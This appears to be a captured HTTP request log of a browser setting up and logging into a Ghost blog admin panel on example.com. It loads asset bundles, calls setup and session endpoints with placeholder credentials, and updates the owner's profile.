{"method": "GET", "target": "/ghost/assets/dist-D-0IA9lC.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/dropdown-menu-C28h_ytx.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/empty-indicator-meoabaL0.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/separator-BK1H909V.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/input-surface-iQhmm6Kt.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/input-QTg0yKue.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/input-group-D4AIf997.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/kbd-Bbi4Nkkp.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/sheet-CCNUcK2Q.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/use-mobile-BD7lg4t-.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/sticky-footer-nkSt2z_Z.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/large-page-title-Ji9icfTU.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/custom-theme-settings-D2WGaIc_.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/themes-DSPpuTUn.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/settings-loading-Dxi0iRq5.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/iso-_B9XaeWP.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/user-preferences-B0PbfB0i.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/site-uZuXd-v3.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/reload-Ct6s_xiO.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/admin-link-CP2k2nca.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/tags-CP6OL-4x.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/posts-ANvOkryA.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/command-B3vdhO98.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/popover-DRRhIsW0.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/multi-select-combobox-BgzCpWMK.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/index.module-CXVVhCXr.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/pages-CSQSKI6V.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/tiers-KrkVJjTT.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/label-picker-CHocWit1.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/shared-views-av3Cu3au.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/api-o_yGTaqZ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/koenig-loader-Cc2OMiDU.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/editor-loading-B2j1keaV.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/constants-CbfF6lyS.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/moment-timezone-D5Us53JJ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/logo-loader-88VPEpXE.mp4", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: identity", "Range: bytes=0-"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/users/me/?include=roles", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/settings/?group=site%2Ctheme%2Cprivate%2Cmembers%2Cportal%2Cnewsletter%2Cemail%2Clabs%2Cslack%2Cunsplash%2Cviews%2Cfirstpromoter%2Ceditor%2Ccomments%2Canalytics%2Cannouncement%2Cpintura%2Cdonations%2Csecurity%2Csocial_web%2Cexplore%2Ctransistor", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/site/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/config/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/authentication/setup/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/setup-DWks57uU.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/field-574pWL80.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/label-vIUVGh2q.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/dist-8uIrBDxl.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/auth-layout-CaD1cj0i.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/validator-C1GVGAAP.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/password-rules-Co1GJV0H.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/ghost-orb-bYPPSSAp.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/InterVariable-DiVDrmQJ.woff2", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/assets/index-C3xC5ZJE.css", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/ghost/api/admin/authentication/setup/", "headers": ["Host: example.com", "Content-Length: 123", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"setup\":[{\"blogTitle\":\"Example Blog\",\"name\":\"Alice Example\",\"email\":\"alice@example.com\",\"password\":\"Hv4-mQz8-Lr2x-Tp9w\"}]}"}
|
||||||
|
{"method": "POST", "target": "/ghost/api/admin/session/", "headers": ["Host: example.com", "Content-Length: 64", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"username\":\"alice@example.com\",\"password\":\"Hv4-mQz8-Lr2x-Tp9w\"}"}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/members/?limit=1", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/themes/active/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/global-search-modal-7K0SXxhj.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/dirty-confirm-dialog-BY-NFehF.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/use-dirty-confirmation-BZt1qjQk.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/__vite-browser-external-QvLZ7d7o.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/search-index-BVbNE68U.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/open-section-Dbja-jTl.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/use-section-visibility-qAu_ZOpN.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/availability-ZBcKUaLw.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/notifications/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
||||||
|
{"method": "PUT", "target": "/ghost/api/admin/users/6af4570fd281b00001a59891/?include=roles", "headers": ["Host: example.com", "Content-Length: 1308", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": "{\"users\":[{\"id\":\"6af4570fd281b00001a59891\",\"name\":\"Alice Example\",\"slug\":\"alice\",\"email\":\"alice@example.com\",\"profile_image\":null,\"cover_image\":null,\"bio\":null,\"website\":null,\"location\":null,\"facebook\":null,\"twitter\":null,\"threads\":null,\"bluesky\":null,\"mastodon\":null,\"tiktok\":null,\"youtube\":null,\"instagram\":null,\"linkedin\":null,\"accessibility\":\"{\\\"nightShift\\\":\\\"system\\\",\\\"onboarding\\\":{\\\"completedSteps\\\":[],\\\"checklistState\\\":\\\"started\\\",\\\"startedAt\\\":\\\"2026-11-11T11:54:12.758Z\\\"},\\\"navigation\\\":{\\\"expanded\\\":{\\\"posts\\\":true,\\\"members\\\":true},\\\"menu\\\":{\\\"visible\\\":true}}}\",\"status\":\"active\",\"meta_title\":null,\"meta_description\":null,\"tour\":null,\"last_seen\":\"2026-11-11T11:54:12.000Z\",\"comment_notifications\":true,\"free_member_signup_notification\":true,\"paid_subscription_started_notification\":true,\"paid_subscription_canceled_notification\":false,\"mention_notifications\":true,\"recommendation_notifications\":true,\"milestone_notifications\":true,\"donation_notifications\":true,\"gift_subscription_notifications\":true,\"created_at\":\"2026-11-11T11:52:47.000Z\",\"updated_at\":\"2026-11-11T11:54:12.000Z\",\"roles\":[{\"id\":\"6af4570fd281b00001a59896\",\"name\":\"Owner\",\"description\":\"Blog Owner\",\"created_at\":\"2026-11-11T11:52:47.000Z\",\"updated_at\":\"2026-11-11T11:52:47.000Z\"}],\"url\":\"http://example.com/author/alice/\"}]}"}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/identities/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
||||||
|
